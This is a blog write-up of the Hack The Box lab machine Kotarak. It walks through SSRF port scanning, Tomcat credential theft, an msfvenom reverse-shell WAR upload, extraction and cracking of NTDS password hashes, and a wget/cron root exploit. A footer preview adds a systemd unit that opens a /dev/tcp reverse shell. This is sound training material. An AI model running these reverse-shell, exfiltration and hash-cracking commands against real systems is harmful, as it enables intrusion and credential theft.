Skip to main content

HacktheBox - Kotarak - Retried

HacktheBox - Kotarak - Retried




Recon


Let's use threader3000 for our recon scan. It's a threaded scanner written in python that does a super quick up/down scan on all TCP ports, then suggests a nmap scan based on the results. It will automatically save the nmap scan results as XML, then we can convert it to HTML


xsltproc ./kotarak.htb/kotarak.htb.xml -o kotarak.html






Looks like we have a few ports open



Port Service Version
22 OpenSSH 7.2p2
8009 Apache Jserv 1.3
8080 Apache tomcat 8.5.5
60000 Apache HTTPD 2.4.18



Let's check out port 8080 first.



Just a 404, let's see if we can find anything else with dirb




We didn't find a lot here.




GENERATED WORDS: 4612                                                         
---- Scanning URL: http://kotarak.htb:8080/ ----
+ http://kotarak.htb:8080/docs (CODE:302|SIZE:0)                                                                                                                      
+ http://kotarak.htb:8080/examples (CODE:302|SIZE:0)                                                                                                                  
+ http://kotarak.htb:8080/favicon.ico (CODE:200|SIZE:21630)                                                                                                           
+ http://kotarak.htb:8080/host-manager (CODE:302|SIZE:0)                                                                                                              
+ http://kotarak.htb:8080/manager (CODE:302|SIZE:0)                    

GENERATED WORDS: 4612                                                         

What about the port 60000 that we found what do we see there?




This looks promising, there is an Admin section too……


Unfortunately it's not a live link and doesn't take us anywhere.


Let's try dirb on this port.




GENERATED WORDS: 4612                                                         

---- Scanning URL: http://kotarak.htb:60000/ ----
+ http://kotarak.htb:60000/index.php (CODE:200|SIZE:1169)                                                                                                             
+ http://kotarak.htb:60000/info.php (CODE:200|SIZE:92341)                                                                                                             
+ http://kotarak.htb:60000/server-status (CODE:403|SIZE:302)                                                                                                          
                                                                                                                                                                     
-----------------






We have the same index.php that we landed on when we went to port 60000 and then also an apache info.php configuration page.





Let's try to plug google into the input box and see what happens.






We can see it in the path but nothing shows on the page.


But do you see the URL bar……





Whenever I see some thing like this my mind immediately jumps to Local File Inclusion or Remote File Inclusion.


If we try to get to /etc/passwd there are a lot of tricks to try


Something like this, adjusting the relative depth to read the /etc/passwd



We can try to add a null byte to the end to see if that does anything %00


Trying about 3 dozen different modifications of this we still don't see the etc/passwd file.


What about RFI (Remote FIle Inclusion)


How can we test this?


The easiest thing to do is to run a webserver and enter our URL and see if the server will reach out and grab the file.


For this test let's use updog.


If you don't have it installed just do


pip install updog



Then just start it from a directory that has files in it, so we can serve the files up to kotark.


If we start it from the kotarak directory we should have the HTML output of our nmap scan in there to serve.



Once updog is running let's put in our URL for the nmap file we have





Now if we put that in we can see that the server did in fact reach out to us and did a get request on the html file we had




circusmonkey404@kali:~/Desktop/HTB/Kotarak$ updog
[+] Serving /home/circusmonkey404/Desktop/HTB/Kotarak...
* Running on http://0.0.0.0:9090/ (Press CTRL+C to quit)
10.10.10.55 - - [21/Oct/2020 12:03:38] "GET /kotarak.html HTTP/1.1" 200 -





So that's cool, what can we do with that?


If we spend some time trying to upload webshells here or getting reverse shells here, we probably won't have much luck ( I didn't anyway)


What else might we be able to leverage this for?


What about getting access to things on the local machine that we  don't have access to externally?


So basically turn the RFI into a LFI 


Let's test with the one thing we go get access to on port 80 the favicon.icon file.


Let's try









Well we got something back… I can only assume this is the contents of the icon file 


We can test this by adding some random characters to the end of the file name and see if we get back something like this or a 404 page.








A 404 like we expected…..


Now what?


Now, lets try other ports to see if there is anything we can get to using this tool.


We can write a little python script to try every TCP ports and if curl receives any response to write those port numbers out to a txt file that we can then use to check out those new findings.



Hey it's ugly…. But it works, so that makes it beautiful right?


















import os

for i in range(1,6535):
istring = str(i)
cmd = ("curl http://kotarak.htb:60000/url.php?path=http%3A%2F%2Flocalhost%3A"+istring)
result = os.popen(cmd).read()
print("Trying port: " + istring)

count = len(result)


if count > 4:
print("Bingo")
f = open("curlresults.txt", 'a')
f.write(istring)
f.write('\n')
f.close()
else:
print("nope")







Here is a sample of what it looks like while running.


This takes a little while to go through all TCP ports


After the script completes let's take a look at the output file curlresults.txt


22
90
110
200
320
888
3306



Now let's put these back into the URL they let us 

http://kotarak.htb:60000/#


http://localhost:90







We get a under construction page on 90, similar things on 110, 200


However we get a login screen on port 320





Interesting, what about the other ports?


Port 888



Looks like a file explorer, these ports keep getting better. What about the last one 3306?






Interesting… Let's go back to 888


If we click on backup, it strips out our rewrite to local host


http://kotarak.htb:60000/url.php?doc=backup


So let's use curl to put it all together.



<?xml version="1.0" encoding="UTF-8"?>
<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0

  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
<!--
  NOTE:  By default, no user is included in the "manager-gui" role required
  to operate the "/manager/html" web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary. It is
  strongly recommended that you do NOT use one of the users in the commented out
  section below since they are intended for use with the examples web
  application.
-->
<!--
  NOTE:  The sample user and role entries below are intended for use with the
  examples web application. They are wrapped in a comment and thus are ignored
  when reading this file. If you wish to configure these users for use with the
  examples web application, do not forget to remove the <!.. ..> that surrounds
  them. You will also need to set the passwords to something appropriate.
-->
<!--
  <role rolename="tomcat"/>
  <role rolename="role1"/>
  <user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
  <user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
  <user username="role1" password="<must-be-changed>" roles="role1"/>
-->
    <user username="admin" password="3@g01PdhB!" roles="manager,manager-gui,admin-gui,manager-script"/>

</tomcat-users>



Oooooooh looks like we got a user/pass in there


admin/3@g01PdhB!


cool



Didn't we see a tomcat manager page on port 8080 in our dirb results?


http://kotarak.htb:8080/manager





When we try to put it up it tells us to use /html


http://kotarak.htb:8080/manager/html


We got a login screen, let's try our newly found user/password.



Exploit




Now if you have read my other writeup for Jerry we know that we can make a malicious war file upload it here and probably get our shell.


Let's user msfvenom to create our war file


msfvenom -p java/shell_reverse_tcp LHOST=10.10.14.18 LPORT=5555 -f war > circusmonkey.war




Set Up our listener on our kali box


nc -lnvp 5555




Then use the upload feature to load up our war file



Then if we click on our application we will hopefully get our shell






And we do 



We got our shell as tomcat let's upgrade it 



python -c 'import pty; pty.spawn("/bin/bash")'






Cool





Poking around in the /home directory we can see a folder for tomcat here is what it contains.


tomcat@kotarak-dmz:/home/tomcat$ ls -al
ls -al
total 12
drwxr-xr-x 3 tomcat tomcat 4096 Jul 21  2017 .
drwxr-xr-x 4 root   root   4096 Jul 21  2017 ..
drwxr-xr-x 3 tomcat tomcat 4096 Jul 21  2017 to_archive



If we follow that to_archive directory we find it leads to another directory named pentest_data

Which contains two files.


20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit
20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin


This sounds like it could be interesting let's copy the files to our kali box using netcat


On our kalibox let's setup a listener to accept the file


nc -lnvp 4444 > file1.dit


Then on Kotarak we can send the file using netcat as well

nc 10.10.14.18 4444 < 20170721114636_default_192.168.110.133_psexec.ntdsgrab._333512.dit



And we will use the same method to grab the other .bin file after this transfer completes.


nc -lnvp 4444 > file2.bin



Then on Kotarak.


nc 10.10.14.18 4444 < 20170721114637_default_192.168.110.133_psexec.ntdsgrab._089134.bin


Now we have the files locally and can see if we can figure out what they are.


Let's use file to see if we can get any info about this .dit file


circusmonkey404@kali:~/Desktop/HTB/Kotarak$ file ./file1.dit 

./file1.dit: Extensible storage engine DataBase, version 0x620, checksum 0x16d44752, page size 8192, DirtyShutdown, Windows version 6.1





Windows?   .dit ??? could this be a copy of an ntds.dit file?


Let's check out file2

circusmonkey404@kali:~/Desktop/HTB/Kotarak$ file file2.bin
file2.bin: MS Windows registry file, NT/2000 or above


A registry file? 


The folder said pentest… is the SYSTEM registry hive and the ntds.dit file that a penetration tester was able to get off a windows system on this network? If so maybe we can get the passwords out of here and maybe they re-used them on this box.


Password re-use FTW


Ok so now that we think they are these files let's use impacket's secretsdump.py to get the hashes out of these files.


Let's rename these files we downloaded


mv ./file1.dit ./NTDS.dit
mv ./file2.bin ./SYSTEM.bin


Now we can dump out this hashes to a file name /hashes


python3 ./secretsdump.py -ntds /home/circusmonkey404/Desktop/HTB/Kotarak/NTDS.dit  -system /home/circusmonkey404/Desktop/HTB/Kotarak/SYSTEM.bin -outputfile /home/circusmonkey404/Desktop/HTB/Kotarak/hashes LOCAL




Since we told it to output to a file named hashes it created hashes.ntds file for us


Administrator:500:aad3b435b51404eeaad3b435b51404ee:e64fe0f24ba2489c05e64354d74ebd11:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WIN-3G2B0H151AC$:1000:aad3b435b51404eeaad3b435b51404ee:668d49ebfdb70aeee8bcaeac9e3e66fd:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ca1ccefcb525db49828fbb9d68298eee:::
WIN2K8$:1103:aad3b435b51404eeaad3b435b51404ee:160f6c1db2ce0994c19c46a349611487:::
WINXP1$:1104:aad3b435b51404eeaad3b435b51404ee:6f5e87fd20d1d8753896f6c9cb316279:::
WIN2K31$:1105:aad3b435b51404eeaad3b435b51404ee:cdd7a7f43d06b3a91705900a592f3772:::
WIN7$:1106:aad3b435b51404eeaad3b435b51404ee:24473180acbcc5f7d2731abe05cfa88c:::
atanas:1108:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::






The only two users here are Administrator and atanas.


Let's delete out all the other hashes so we just have the two we are interested in.


So we are left with in a file named user.txt


Administrator:500:aad3b435b51404eeaad3b435b51404ee:e64fe0f24ba2489c05e64354d74ebd11:::
atanas:1108:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::




Now we can feed this into hashcat to see if we can get a password.




hashcat -m 1000 --username -o ./cracked.txt -a 0 ./user.txt /usr/share/wordlists/rockyou.txt



Ok it says it got 1 of two passwords, let's see what is in our cracked file

e64fe0f24ba2489c05e64354d74ebd11:f16tomcat!


That was the administrator hash


Let's try to su to root on this box using that password



Nope


Ok what about atanas?



Great that worked let's get a user.txt



Great let's try to escalate to root


We can access the /root folder


And we can read flag.txt


atanas@kotarak-dmz:/root$ cat flag.txt
cat flag.txt
Getting closer! But what you are looking for can't be found here.




There is another file here call app.log


10.0.3.133 - - [20/Jul/2017:22:48:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
10.0.3.133 - - [20/Jul/2017:22:50:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"
10.0.3.133 - - [20/Jul/2017:22:52:01 -0400] "GET /archive.tar.gz HTTP/1.1" 404 503 "-" "Wget/1.16 (linux-gnu)"


It looks like a GET request to download a file named archive.tar.gz from an IP address of 10.0.3.133 every two minutes.


So we can guess this is a cron job that is making this request, since it happens exactly two minutes apart.


Ifconfig shows a interface that is on the same subnet as the computer that is making the request



A quick google search on wget exploit and we come across this POC


https://www.exploit-db.com/exploits/40824


Let's start up a netcat on port 80 to see if we can still see the GET request coming in.




nc -lnvp 80


nc: Permission denied


Well it turns out that regular users are not allowed to bind to ports under 1024, only root can bind to those ports….


Let's google for nc bind port 80, to see if we can figure out a way around this.


We would come across this posting.


https://serverfault.com/questions/112795/how-to-run-a-server-on-port-80-as-a-normal-user-on-linux


Which mentions with the use of authbind we should be able to do this




And luckily for us, it's installed on Kotarak.


authbind nc -lnvp 80



It worked and we can see the same request here that was in the log we found.


So with this combined with the POC we found, we hopefully can escalate to root.




So let's grab a copy of the poc and save it on our computer and name it wgetexploit.py


And changed these values,


Our FTP which we will host on our kali box


The web server which we will use 0.0.0.0 for kotarak


And what we want the new cron job to do…. Which is give us a reverse shell



We need to make our .wgetrc file for our ftp to serve up.


post_file = /etc/shadow
output_document = /etc/cron.d/wget-root-shell



We need to start new listener on our kali box to catch the shell


nc -lnvp 5566



Start our FTP


sudo python3 -m pyftpdlib -p21 -w





Then use updog and wget to download the POC python on to Kotarak


updog






In another terminal on kali we start the python FTP Server


sudo python3 -m pyftpdlib -p21 -w



On Kotarak


We download the python script for the exploit using wget 

atanas@kotarak-dmz:/tmp/circusmonkey$ wget http://10.10.14.18:9090/wgetexploit.py



Then we need to start our netcat listener on our kali box


nc -lnvp 5566


Then we just start the POC using authbind on Kotarak and wait.

authbind python /tmp/circusmonkey/wgetexploit.py


And after a couple of minutes we should get our root shell back





you can see here we actually pivoted to another machine, the one with the cron job, and that is where the root.txt is.









Comments

Popular posts from this blog

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports  Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT     STATE SERVICE     VERSION 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) |   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open  http        Node.js (Express middlewar

RingZero CTF - Forensics - Who am I part 2

RingZero CTF - Forensics -  Who am I part 2 Objective: I'm the proud owner of this website. Can you verify that? Solution: Well it took me a bit to figure this one out. I tried looking at the whois records for ringzer0ctf.com I tired looking at the DNS records for the site. I even looked in the Certificate for the site. Then I thought a little be more about the question. It's not asking how I can verify who own the site. It wants me to verify the owner themselves. Luckily at the bottom the page we see who is listed as on the twittter feeds @ringzer0CTF and @ MrUnik0d3r lets check if we can find the PGP for MrUniK0d3r online. I googled PGP and MrUn1k0d3r The very first result is his PGP  keybase.txt with his PGP at the bottom of the file is the flag FLAG-7A7i0V2438xL95z2X2Z321p30D8T433Z

Abusing systemctl SUID for reverse shell

Today I came across a box that had the SUID set for systemctl connected as the apache user www-data I was able to get a root reverse shell. This is to document how to use this for privilege escalation. I used a bit from this blog https://carvesystems.com/news/contest-exploiting-misconfigured-sudo/ and a bit from here too https://hosakacorp.net/p/systemd-user.html Step1. Create a fake service I named my LegitService.service I placed it in the /tmp directory on the server. [Unit] UNIT=LegitService Description=Black magic happening, avert your eyes [Service] RemainAfterExit=yes Type=simple ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done" [Install] WantedBy=default.target Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders systemctl link /tmp/LegitService.service The